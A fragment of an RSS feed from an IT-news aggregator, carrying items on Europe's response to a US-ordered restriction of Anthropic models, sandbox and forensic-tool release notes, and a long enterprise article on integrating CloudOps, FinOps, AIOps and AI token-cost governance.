<li> <a href="https://lwn.net/Articles/1079457/">Front</a>: Xsnow protestware; Git 2.55; Rhombus; kernel hardening; More LSFMM+BPF coverage; 7.2 merge window; Secure Boot certificate expiration; Ceph and Garage; OSPM 2026.
            </li><li> <a href="https://lwn.net/Articles/1079459/">Briefs</a>: Akrites; Mageia 10; Git 2.55.0; Podman 6.0; systemd v261; Creative Commons chat; Quotes; ...
            </li><li> <a href="https://lwn.net/Articles/1079460/">Announcements</a>: Newsletters, conferences, security updates, patches, and more.
            </li></ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Powerful ML Is Deceptively Easy — Part 2]]></title>
<description><![CDATA[The next leakage problem is not only temporal. It is spatial, structural, and coverage-related. AI-generated illustration created with DALL·E
The post Why Powerful ML Is Deceptively Easy — Part 2 appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3639201/ai-nachrichten/why-powerful-ml-is-deceptively-easy-part2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639201/ai-nachrichten/why-powerful-ml-is-deceptively-easy-part2/</guid>
<pubDate>Wed, 01 Jul 2026 18:49:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The next leakage problem is not only temporal. It is spatial, structural, and coverage-related. AI-generated illustration created with DALL·E</p>
<p>The post <a href="https://towardsdatascience.com/why-powerful-ml-is-deceptively-easy-part-2/">Why Powerful ML Is Deceptively Easy — Part 2</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Europe looks to fight any forced shutdown of AI]]></title>
<description><![CDATA[It was one of the biggest tech headlines in June: Amid the race leading up to the initial public offerings (IPOs) of artificial intelligence (AI) giants, the United States used its “blocking card” to disable Anthropic’s latest models. Citing national security concerns, the Trump Administration fo...]]></description>
<link>https://tsecurity.de/de/3639197/it-nachrichten/europe-looks-to-fight-any-forced-shutdown-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639197/it-nachrichten/europe-looks-to-fight-any-forced-shutdown-of-ai/</guid>
<pubDate>Wed, 01 Jul 2026 18:48:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It was one of the biggest tech headlines in June: Amid the race leading up to the initial public offerings (IPOs) of artificial intelligence (AI) giants, the United States used its “blocking card” to disable <a href="https://www.cio.com/article/4185175/anthropic-locks-enterprises-out-of-fable-and-mythos-following-government-order.html" target="_blank">Anthropic’s latest models</a>. Citing national security concerns, the Trump Administration forced the company to prevent non-U.S. citizens (even in the US) from using its most advanced models — the very ones it had just unveiled. Speculation suggests the same thing could happen to OpenAI.</p>



<p>The ban on Anthropic was not <a href="https://www.computerworld.com/article/4191565/us-reverses-export-restrictions-on-anthropics-fable-5-mythos-5-ai-models-2.html">lifted until June 30</a>. The US administration said that, in the intervening weeks, it had worked with the company to “review and approve Fable5 to ensure it aligns with the US government and strengthens US leadership in AI.” For its part, OpenAI confirmed that its next major launch would begin with a preview for “trusted partners ”—a list it has shared with the US government.</p>



<p>Are these companies falling victim to their own marketing — having touted that their models are becoming increasingly intelligent and potentially more dangerous? Or are they collateral damage in an uncertain geopolitical world? Whatever the rationale, the recent moves raise questions in Europe, where <a href="https://www.computerworld.com/article/4109029/global-uncertainty-is-reshaping-cloud-strategies-in-europe.html" data-type="link" data-id="https://www.computerworld.com/article/4109029/global-uncertainty-is-reshaping-cloud-strategies-in-europe.html">digital sovereignty movements are on the rise</a>.</p>



<p>The sudden shutdown of Fable 5 and Mythos 5 for European companies had a limited direct impact, because the models were so new. As Fernando Maldonado, senior analyst at Foundry Spain, noted: “Hardly anyone here had even started using them yet.” The indirect impact is more far-reaching, because it shows that a forced technological blackout is possible and that Europe has a limited margin for response.</p>



<p>The doomsday scenarios warn that Europe could be headed for a future tech disaster that will have a domino effect on the economy and society. That’s the conclusion of the <a href="https://europe2031.ai/" target="_blank" rel="noreferrer noopener"><em>“Europe 2031”</em></a> report, prepared by a group of European AI researchers, analysts, and investors. “The current trajectory of AI calls for the most ambitious political agenda in the history of postwar Europe,” the report concludes. They argue that Europe has failed to grasp the scale of AI ‘s spread and warn that Europe couldl fall into irrelevance. (The group estimates that, in that scenario, the continent would control only 5% of AI computing by 2031, compared to 80% for the US). There is <a href="https://www.computerworld.com/article/4181816/eu-takes-first-steps-to-reduce-reliance-on-us-hyperscalers.htm" data-type="link" data-id="https://www.computerworld.com/article/4181816/eu-takes-first-steps-to-reduce-reliance-on-us-hyperscalers.htm">much talk of sovereignty</a>, but little real-world action so far.</p>



<p>That dystopian vision of the future coexists with other, more nuanced perspectives. But analysts and political scientists point out that AI could yet become an economic and political lever that will shape the future balance of power.</p>



<h2 class="wp-block-heading">The ‘kill switch’ scenario</h2>



<p>The total shutdown “kill switch” option, deemed impossible not so long ago, has established itself as one of the real potential fears in geopolitical risk: it was on the agenda at <a href="https://www.euronews.com/my-europe/2026/06/17/ai-takes-centre-stage-at-g7-as-western-fears-over-us-kill-switch-get-real" target="_blank" rel="noreferrer noopener">the recent G7 meeting</a>. The Anthropic case was seen as a warning. “Technology is increasingly a strategic asset. Europe must be able to act on its own terms,” European Commission spokesperson Thomas Regnier told <em>Euronews</em>. <a href="https://www.reuters.com/legal/litigation/eu-commission-looking-practical-consequences-anthropic-decision-spokesperson-2026-06-14/" target="_blank" rel="noreferrer noopener">Speaking to Reuters</a>, he added, “This event is further proof that Europe must strengthen its technological sovereignty.”</p>



<p>The Anthropic outage “has given ammunition to those who have been calling for investment in technological sovereignty and highlights this geopolitical situation,” said <a href="https://es.linkedin.com/in/beatrizariasg" data-type="link" data-id="https://es.linkedin.com/in/beatrizariasg" target="_blank" rel="noreferrer noopener">Beatriz Arias</a>, director of digital transformation at DigitalES. Arias believes the incident shows that today’s reality requires work in more areas; it is no longer enough to manage telecommunications or standards. Other issues such as interoperability and intellectual property are on the table, as well as “the need to invest more in our own capabilities, without prejudice to our continued commitment to an open model of cooperation and alliances.”</p>



<p>That said, Darío García de Viedma, a researcher in Technology and Digital Policy at the Elcano Royal Institute, does not believe the feared kill switch will be used, “because the US  technology export model depends on companies. Companies are the strong arm of US diplomacy in the technological sphere.” For them to play that tole, they need a global presence. But he does agree that what happened with Anthropic helps “explain this risk to the public” — and incidentally showcase what technological sovereignty is.</p>



<p>Even if a catastrophic blackout doesn’t occur, other problems could still hinder access. Political scientist Amélie Férey explained on <a href="https://www.radiofrance.fr/franceculture/podcasts/l-invite-e-des-matins/guerre-au-moyen-orient-a-qui-profite-cet-accord-7310775" target="_blank" rel="noreferrer noopener"><em>France Culture</em></a> how license prices could gradually rise and drive up costs. Or access to certain features could be gradually restricted. As García de Viedma put it, a moratorium on model access would create a “temporal asymmetry.” Disruptions can occur in “the complex supply chain behind all our technology,” through export controls (something now happening in the chip market) or through the degradation of essential services (such as what could happen with Starlink coverage).</p>



<p>In recent years, the European Union has entered a race in that arena, one that involves symbolic measures well as practical legislative moves. The European Parliament has <a href="https://www.politico.eu/article/european-parliament-ditches-google-for-french-search-engine/" target="_blank" rel="noreferrer noopener">dropped Google as its default search engine</a> and replaced it with the French Qwant. And in early June, the Commission presented its <a href="https://commission.europa.eu/news-and-media/news/strengthening-europes-tech-sovereignty-2026-06-03_en" target="_blank" rel="noreferrer noopener">European Technology Sovereignty Package</a>, which <a href="https://www.computerworld.com/article/4169676/the-european-commission-is-considering-rules-that-would-restrict-u-s-cloud-services.html">addresses, among other issues, AI</a>. They aim to ensure that Europe becomes “a continent of AI, strengthen its digital autonomy, and help build a more sustainable digital future,” while also acknowledging Europe’s technological dependence.</p>



<p>“We cannot afford to depend on others for the technologies that keep our hospitals running, our energy grids stable, and our services secure,” said Commission President Ursula von der Leyen. Specifically, Europe aims to triple the capacity of its data centers over the next five to seven years, boost the adoption of AI, enhance research and innovation, and work on its own development and deployment efforts. The package will now have to go through an approval process to become law and take effect.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/P-069883_00-02_01-ORIGINAL-271239.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Henna Virkkunen y Dan Jørgensen, en la presentación del paquete de soberanía tecnológica de la UE el pasado 3 de junio" class="wp-image-4191473" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Henna Virkkunen and Dan Jørgensen at the presentation of the EU’s technological sovereignty package on June 3.</strong></p>
</figcaption></figure><p class="imageCredit">UE</p></div>



<h2 class="wp-block-heading">Has Europe done enough?</h2>



<p>The big question is whether what Europe has done — and what it plans to do — will be enough. Are the sovereignty packages sufficient, or are they vague and lacking in concrete details? The Europe 2031 group accuses Europe of making empty promises that don’t translate into tangible results.</p>



<p>García de Viedma said the latest package represents “good progress, which is defining technological sovereignty as risk mitigation.” In this case, risk has three aspects: technological dependence could be used as a coercive measure; tech operations could be disrupted “if at any point our alliances deteriorate;” and IT could be used as a tool for surveillance. </p>



<p>“Not to sound like conspiracy theorists, but the fact is that there is a possibility that whoever controls the communication nodes and software has the ability to see, if not everything, then at least some things,” he said. “That gives them an advantage.” Therefore, sovereignty is not so much “that identity-based vision” but rather one of “risk avoidance.” It’s not about using European technology simply because it’s European, but about understanding the risks of not using it.</p>



<p>Viedma believes the Commission has accurately identified today’s problems (such as governance or the digitization of the power grid, “the main bottleneck for AI”) but wonders about the future. Added to this is the issue of money: investment is a key piece in this chess game.</p>



<p>DigitalES views the efforts currently under way — such as those regarding European chips — favorably. “What’s needed is more determination and focus,” said Arias. Incidents like the Anthropic case can “help move in that direction.” While European investment plans in AI may seem less grandiose than those of the sector’s major companies, Arias warned against defeatist rhetoric. <br></p>



<p>“The EU is doing what it needs to do,” he said, and is creating “a more geopolitically stable environment for investors. Ultimately, this is about the market and who creates the most value.” European regulations can eventually become global standards, with Europe positioning itself “as an attractive partner for investment” — one that is “reliable and more predictable.”</p>



<p>Arias said the key lies not in complete autonomy, but in finding a balance. “We don’t have to produce 100% of what we use, and we shouldn’t depend 100% on a single supplier or jurisdiction.” What’s needed is technological diplomacy, being able to navigate complex waters and safeguard interests.</p>



<p>Playing by different rules in the global AI market is not feasible. “You must be aware of your strengths and weaknesses.” And she insists: “Europe is by no means a long shot — quite the opposite, because it offers certain guarantees.”</p>



<h2 class="wp-block-heading">The next great revolution</h2>



<p>Europe is late to the AI race, but it can still “assume a certain leadership role,” depending on how the sector evolves, as García de Viedma notes. Europe can carve out its own niche and investments are being made and efforts are under way to do so. In AI, this involves identifying areas of European specialization.</p>



<p>There remains a lot of work to be done and, possibly, lessons learned from past experiences to face what lies ahead. AI issues are part of a very complex reality. Arias warned of the need to prepare for “the convergence of artificial intelligence with the computing power that quantum computing will provide” featuring “dual-use technology that will be employed for both military and civilian purposes.” These will be more powerful tools that “require a more solid foundation.</p>



<p>“Such technological diplomacy will be necessary to negotiate global quantum standards, protect intellectual property, and address the potential impact on national security.”</p>



<p>The quantum revolution is imminent, but has yet to unfold, and Europe can capitalize on <a href="https://www.computerworld.es/article/4067287/especial-tecnologia-cuantica-2025.html">it</a>. “Europe is jumping on this bandwagon,” argued Arias, highlighting the investments and work on quantum capabilities. “We’re in a very different situation than we were with the cloud and artificial intelligence.” The EU is “acting quickly” and opening the door to “positioning ourselves country by country.” </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release Notes: In-Browser Data Inspection, Torq Integration, and 1,100+ Threat Coverage Updates]]></title>
<description><![CDATA[Phishing pages don’t sit still anymore. They redirect, load scripts, harvest credentials through dynamic forms, and rebuild their DOM after the initial load — and most URL analysis workflows still only see the finish line, not the race. This June, ANY.RUN closed that gap directly inside the Inter...]]></description>
<link>https://tsecurity.de/de/3638407/it-security-nachrichten/release-notes-in-browser-data-inspection-torq-integration-and-1100-threat-coverage-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638407/it-security-nachrichten/release-notes-in-browser-data-inspection-torq-integration-and-1100-threat-coverage-updates/</guid>
<pubDate>Wed, 01 Jul 2026 13:50:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Phishing pages don’t sit still anymore. They redirect, load scripts, harvest credentials through dynamic forms, and rebuild their DOM after the initial load — and most URL analysis workflows still only see the finish line, not the race. This June, ANY.RUN closed that gap directly inside the Interactive Sandbox and extended its automation reach with […]</p>
<p>The post <a href="https://any.run/cybersecurity-blog/release-notes-june-2026/">Release Notes: In-Browser Data Inspection, Torq Integration, and 1,100+ Threat Coverage Updates</a> appeared first on <a href="https://any.run/cybersecurity-blog">ANY.RUN's Cybersecurity Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release Notes: In-Browser Data Inspection, Torq Integration, and 1,100+ Threat Coverage Updates]]></title>
<description><![CDATA[Phishing pages don’t sit still anymore. They redirect, load scripts, harvest credentials through dynamic forms, and rebuild their DOM after the initial load — and most URL analysis workflows still only see the finish line, not the race. This June, ANY.RUN closed that gap directly inside the Inter...]]></description>
<link>https://tsecurity.de/de/3638355/it-security-nachrichten/release-notes-in-browser-data-inspection-torq-integration-and-1100-threat-coverage-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638355/it-security-nachrichten/release-notes-in-browser-data-inspection-torq-integration-and-1100-threat-coverage-updates/</guid>
<pubDate>Wed, 01 Jul 2026 13:38:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Phishing pages don’t sit still anymore. They redirect, load scripts, harvest credentials through dynamic forms, and rebuild their DOM after the initial load — and most URL analysis workflows still only see the finish line, not the race. This June, ANY.RUN closed that gap directly inside the Interactive Sandbox and extended its automation reach with […]</p>
<p>The post <a href="https://any.run/cybersecurity-blog/release-notes-june-2026-2/">Release Notes: In-Browser Data Inspection, Torq Integration, and 1,100+ Threat Coverage Updates</a> appeared first on <a href="https://any.run/cybersecurity-blog">ANY.RUN's Cybersecurity Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Passware Kit Mobile 2026v4 Decrypts Qualcomm-Based Samsung S20]]></title>
<description><![CDATA[Passware Kit Mobile 2026 v4 expands Samsung S20 decryption coverage, speeds up password recovery with caching and batch optimizations, and adds support for more iOS, Huawei, and Android devices.]]></description>
<link>https://tsecurity.de/de/3637997/it-security-nachrichten/passware-kit-mobile-2026v4-decrypts-qualcomm-based-samsung-s20/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637997/it-security-nachrichten/passware-kit-mobile-2026v4-decrypts-qualcomm-based-samsung-s20/</guid>
<pubDate>Wed, 01 Jul 2026 11:37:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Passware Kit Mobile 2026 v4 expands Samsung S20 decryption coverage, speeds up password recovery with caching and batch optimizations, and adds support for more iOS, Huawei, and Android devices.]]></content:encoded>
</item>
<item>
<title><![CDATA[A framework for operational autonomy: Integrating CloudOps, FinOps and AIOps]]></title>
<description><![CDATA[Operational autonomy is quickly becoming one of the defining capabilities of a modern enterprise. As digital estates become more distributed, cloud environments more dynamic and AI consumption more expensive and less predictable, traditional operating models begin to show their limits. Teams can ...]]></description>
<link>https://tsecurity.de/de/3637916/it-security-nachrichten/a-framework-for-operational-autonomy-integrating-cloudops-finops-and-aiops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637916/it-security-nachrichten/a-framework-for-operational-autonomy-integrating-cloudops-finops-and-aiops/</guid>
<pubDate>Wed, 01 Jul 2026 11:06:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Operational autonomy is quickly becoming one of the defining capabilities of a modern enterprise. As digital estates become more distributed, cloud environments more dynamic and AI consumption more expensive and less predictable, traditional operating models begin to show their limits. Teams can no longer rely only on manual oversight, disconnected monitoring tools or periodic financial reviews to keep enterprise technology healthy and cost efficient. What is needed instead is a coordinated operating framework that brings together CloudOps, FinOps and AIOps, while also addressing the emerging discipline of AI token and model consumption governance. When these disciplines are designed as one connected system rather than as isolated workstreams, organizations move closer to operational excellence: faster decisions, better resilience, improved financial control, stronger compliance and a more measurable connection between technology investments and business outcomes.</p>



<h2 class="wp-block-heading">What operational autonomy means in enterprise IT</h2>



<p>Operational autonomy does not mean removing people from operations. In practice, it means designing enterprise IT so that routine sensing, decision support, remediation, optimization and policy enforcement happen with minimal friction and with the right human oversight at the right moments. A mature autonomous operating model continuously observes infrastructure, applications, data flows, AI services and financial consumption patterns; detects risk or inefficiency early; and triggers guided or automated action based on policy, confidence and business criticality. This approach depends on four connected pillars: CloudOps to maintain reliable and scalable digital infrastructure, FinOps to govern cost and value, AIOps to detect patterns and automate response, and AI consumption governance to manage token usage, model selection, inference workloads and unit economics.</p>



<p>Gartner’s 2024 <a href="https://www.gartner.com/en/documents/5703151" rel="nofollow">research</a> on FinOps for data and analytics emphasizes that cloud operations and financial governance are no longer separate concerns, especially as AI workloads reshape cost structures and accountability expectations. Forrester’s 2024 <a href="https://www.forrester.com/report/the-state-of-aiops-and-observability/RES180470" rel="nofollow">analysis</a> of AIOps and observability similarly notes that modern enterprises need deeper operational visibility and broader insight-driven coordination to handle hybrid complexity. IDC’s 2024 <a href="https://www.marketresearch.com/IDC-v2477/Future-Operations-Framework-38402860/" rel="nofollow">perspective</a> on future operations adds another useful lens by framing data-driven operations around agility, resilience and predictability. Taken together, these viewpoints reinforce the same idea: autonomy is not a tool purchase; it is a management framework.</p>



<h2 class="wp-block-heading">Design principles for an enterprise operational autonomy framework</h2>



<p>A practical framework begins with a few disciplined principles. First, the enterprise must build around a shared operational data layer. Telemetry from cloud infrastructure, applications, service management systems, security controls, business transactions and AI services should be normalized so that operations, finance and governance teams work from the same facts. Second, every automated action should be policy-aware. Cost optimization, scaling, failover, remediation, model routing, data retention and access control should all reflect business guardrails rather than isolated technical rules.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="688" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure: The four pillars of autonomous IT.</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Third, the framework should be value-led rather than purely cost-led. FinOps has matured beyond simply lowering spend; the stronger objective is to align spend with business priorities, performance requirements and acceptable risk. Fourth, autonomy should progress in stages. Enterprises usually start with visibility, then introduce recommendations, then guided automation and finally closed-loop autonomy for low-risk scenarios. Fifth, executive accountability must be explicit. Operational autonomy touches architecture, finance, privacy, security, data stewardship and business strategy. Without a cross-functional ownership model, autonomy becomes fragmented and difficult to govern. Everest Group’s 2024 FinOps Cloud Cost Management <a href="https://www.everestgrp.com/report/egr-2024-29-r-6601/" rel="nofollow">assessment</a> highlights the growing demand for role-based access, cost intelligence, governance and automation as core requirements for enterprise cloud cost management products. That is a useful signal that the framework must be built for collaboration, not just analytics.</p>



<h2 class="wp-block-heading">Integrating CloudOps, FinOps and AIOps into one operating model</h2>



<p>CloudOps, FinOps and AIOps are often discussed separately because each emerged from a different operational problem. CloudOps grew out of the need to run cloud estates reliably and at scale. FinOps developed in response to unpredictable consumption-based billing. AIOps emerged because traditional monitoring could not keep pace with the volume and complexity of telemetry generated across modern digital systems. Yet in a mature enterprise, these disciplines converge naturally.</p>



<p>A performance incident in a cloud platform is rarely only an availability problem; it may also drive higher infrastructure consumption, trigger excess logging charges, degrade customer experience or increase token usage in AI-enabled workflows. Similarly, a cost spike may not be a finance issue alone; it may reveal inefficient architecture, poor scheduling, unnecessary data movement or an AI agent behaving outside policy.</p>



<p>An integrated operating model therefore links observability signals, service context, business KPIs, financial metrics and automation rules into one decision fabric. CloudOps provides the runtime discipline, FinOps introduces value and accountability, and AIOps adds pattern recognition and intelligent response. When connected well, the enterprise can answer not only what is happening, but why it is happening, what it is costing, what risk it creates and what the best next action should be.</p>



<h2 class="wp-block-heading">AI token optimization and AI cost spend governance</h2>



<p>AI introduces a new cost curve into enterprise operations. Unlike traditional software costs, token spend can vary sharply based on prompt design, model choice, context length, retrieval patterns, orchestration logic, concurrency, caching strategy and user behavior. This makes AI cost governance an essential part of operational autonomy. A strong framework begins by defining the unit economics of AI consumption: cost per request, cost per conversation, cost per business workflow, cost per user segment and cost per outcome.</p>



<p>Once these baselines are visible, the enterprise can introduce optimization controls such as prompt compression, response-length policies, semantic caching, model tiering, workload routing to lower-cost models where quality tolerance allows, context-window discipline, batch processing for non-real-time use cases and approval thresholds for premium model usage. AI gateways and model brokers can enforce these policies consistently across teams.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="709" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure 2: AI FinOps framework</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Chargeback or showback mechanisms should also extend to AI services so that business units see both value and consumption behavior. Recent <a href="https://www.forbes.com/councils/forbesfinancecouncil/2026/05/27/a-cfos-five-layer-framework-to-govern-ai-token-spend-before-it-governs-you/" rel="nofollow">analysis</a> in Forbes has drawn attention to the financial risks of unmanaged token growth and argues for governance layers that connect finance and engineering before AI expenditure becomes opaque. FinOps Foundation guidance on FinOps for AI reinforces the same message, noting that token-level metrics, quotas, tagging, GPU allocation practices and real-time monitoring are necessary to keep AI costs aligned to business value. In enterprise settings, the lesson is straightforward: if cloud cost needed FinOps, AI cost needs an even tighter form of FinOps because usage can scale much faster and become far less transparent as mentioned in IDC <a href="https://my.idc.com/getdoc.jsp?containerId=US53688325" rel="nofollow">report</a>.</p>



<h2 class="wp-block-heading">FinOps for cloud infrastructure cost management</h2>



<p>Cloud infrastructure cost management remains one of the foundational layers of operational autonomy because every autonomous workflow eventually rests on compute, storage, networking, platform services and data transfer. An effective FinOps capability does more than flag overspend after the month has ended. It creates near-real-time visibility into consumption, ownership, unit economics, forecast variance, commitments and waste patterns.</p>



<p>The enterprise should define standard practices for tagging, cost allocation, commitment management, rightsizing, idle resource detection, storage tiering, Kubernetes cost visibility, environment lifecycle controls and architecture reviews for high-cost services. More importantly, these practices should be tied to business context. For example, a workload serving a mission-critical customer channel may justify higher spend if it supports revenue protection, whereas a non-production environment should have stricter shutdown and spend caps.</p>



<p>Gartner’s 2024 <a href="https://www.gartner.com/en/documents/5703151" rel="nofollow">research</a> on FinOps for data and analytics underscores that AI and data workloads are changing the financial profile of cloud operations and increasing the need for more sophisticated tooling and governance. IDC’s market <a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/2024-03/idc-ai-strategy-in-2024-growth-roi-security-brief.pdf" rel="nofollow">perspective</a> on intelligent cloud and edge operations with FinOps software also points to the rapid growth of platforms that combine operations intelligence with financial control, suggesting that enterprises increasingly view operational management and cost management as linked disciplines rather than separate layers.</p>



<h2 class="wp-block-heading">Autonomous operations through AIOps</h2>



<p>AIOps gives the framework its intelligence and response speed. In most enterprises, operations data is noisy, fragmented and too voluminous for humans to interpret quickly during incidents or performance degradation. AIOps platforms reduce that burden by correlating events, identifying anomalies, clustering symptoms, surfacing probable root causes and recommending or initiating remediation actions. The best outcomes appear when AIOps is connected not only to infrastructure monitoring but also to service maps, change records, configuration data, incident workflows and business priorities.</p>



<p>That connection allows the enterprise to distinguish between a harmless signal fluctuation and an issue that threatens a critical business service. Forrester’s 2024 <a href="https://www.forrester.com/report/the-state-of-aiops-and-observability/RES180470" rel="nofollow">research</a> on AIOps and observability explains this well by describing the complementary value of breadth and depth: observability provides richer technical insight, while AIOps helps transform those signals into operational action. In practice, autonomy grows when low-risk responses such as service restarts, resource adjustments, ticket enrichment, dependency checks or rollback decisions are automated under policy. High-risk actions should remain human-approved until confidence improves. Over time, the enterprise can move from reactive incident management to predictive operations, where emerging capacity risk, recurring error patterns or unusual AI workload behavior are addressed before service impact is visible to users.</p>



<h2 class="wp-block-heading">How the framework leads to operational excellence</h2>



<p>Operational excellence is the cumulative result of better decisions made earlier, faster and with clearer accountability. A well-designed autonomy framework improves service reliability because systems are observed continuously and remediation can be triggered before failures spread. It improves cost discipline because consumption anomalies are identified at the same time as performance or usage anomalies, not weeks later in a billing report.</p>



<p>It improves strategic focus because technology leaders can evaluate trade-offs in terms of business value rather than technical activity alone. It also improves employee productivity by removing repetitive operational effort and shifting skilled staff toward engineering improvements, policy tuning and service innovation. The most important outcome, however, is predictability. Enterprises become more confident in how they scale AI services, how they control cloud spend, how they handle operational events and how they meet compliance obligations. That confidence is what separates routine automation from genuine operational autonomy.</p>



<h2 class="wp-block-heading">Security, governance, process implementation and people upskilling</h2>



<p>No autonomy framework survives without strong security and governance. Automated operations amplify both efficiency and risk, which means identity controls, segmentation, least-privilege access, secrets management, encryption and auditability have to be embedded from the start. AI services add further concerns: prompt leakage, data residency, model misuse, training-data exposure, shadow AI adoption and uncontrolled access to external models.</p>



<p>Governance therefore needs to extend across cloud resources, operational workflows, AI services and data assets. Enterprises should establish clear policy domains covering infrastructure provisioning, AI model approval, token limits, vendor usage, observability data handling, retention rules, access reviews and exception management. Process implementation is equally important. The framework should define standard operating patterns for incident triage, automated remediation approval, cost anomaly review, model lifecycle management and post-incident learning. None of this works unless people are prepared for the shift.</p>



<p>Operations teams need skills in cloud economics, observability, automation engineering and policy-driven operations. Finance teams need to understand cloud and AI consumption models. Security and privacy teams need fluency in AI risk scenarios and control design. Business leaders need a clearer grasp of unit economics and value realization. IDC’s 2024 <a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/2024-03/idc-ai-strategy-in-2024-growth-roi-security-brief.pdf" rel="nofollow">briefing</a> on enterprise AI strategy highlights the tension between rapid AI investment, ROI pressure, staffing constraints, security and compliance. That is exactly why upskilling must be treated as part of the framework itself, not as an optional change-management activity as per FinOps Foundation <a href="https://www.finops.org/wg/finops-for-ai-overview/" rel="nofollow">documentation</a>.</p>



<h2 class="wp-block-heading">The role of regulatory compliance</h2>



<p>Regulatory compliance is not a side topic in operational autonomy; it is one of the main reasons the framework must be formalized. Cloud environments frequently span jurisdictions, AI systems process sensitive information, observability platforms collect detailed operational data and automated decisions may influence customer experience or internal controls. Regulations such as GDPR, DPDP, sector-specific cybersecurity directives, financial reporting obligations, contractual data-handling requirements and internal audit standards all shape what autonomy can and cannot do.</p>



<p>Compliance requirements should therefore be translated into operational policy. Examples include residency-aware workload placement, data minimization in logs and prompts, access segregation for financial and regulated data, explainable automated actions, evidence retention, periodic control attestations and approval workflows for AI usage involving personal or confidential information. Chief privacy and data leaders play a central role here because the compliance question is no longer just where data is stored, but also how data is observed, transformed and consumed by AI-driven services. A mature framework reduces compliance risk by making control enforcement systematic rather than dependent on manual effort.</p>



<h2 class="wp-block-heading">How to implement the framework in practice</h2>



<p>Implementation is usually most successful when handled in phases. The first phase is baseline visibility: consolidate telemetry, cloud billing data, service inventory, AI usage data and business ownership into one operational picture. The second phase is governance design: define policies for tagging, spend thresholds, automation boundaries, access controls, model usage and compliance checkpoints.</p>



<p>The third phase is prioritization: choose a small number of use cases where autonomy can produce measurable value, such as cloud rightsizing, incident correlation, cost anomaly detection, AI token governance or automated remediation for recurring low-risk faults. The fourth phase is automation with guardrails: deploy workflows, approval rules and rollback paths. The fifth phase is optimization and learning: review outcomes, refine policies, update unit economics, expand autonomy coverage and measure business impact.</p>



<p>This staged approach matters because full autonomy is not achieved by switching on one platform. It is built progressively through trusted control, good data and disciplined execution.</p>



<h2 class="wp-block-heading">Useful tools for building the framework</h2>



<p>The tool landscape should be chosen based on architecture, governance maturity and operating model rather than vendor popularity alone. Cloud-native cost and operations tools from hyperscalers provide baseline visibility, but many enterprises supplement them with specialized FinOps platforms for allocation, forecasting, commitment analysis and chargeback. Observability platforms help unify metrics, logs, traces and service maps, while AIOps platforms add anomaly detection, event correlation and automation orchestration.</p>



<p>Service management platforms remain important for change control, incident workflows and audit evidence. AI gateways and model management layers are increasingly useful for token monitoring, policy enforcement, prompt controls, model routing and usage analytics. Security posture management, DSPM, identity governance and compliance automation tools also become part of the architecture because autonomy without trust quickly becomes fragile. The most effective toolchains are the ones that integrate technical telemetry, financial signals, governance policy and workflow automation into a coherent operating system for the enterprise.</p>



<h2 class="wp-block-heading">Executive roles in developing and managing the framework</h2>



<p>Here is a table that summarizes various Executive Roles and their responsibilities in Operational Autonomy governance.</p>



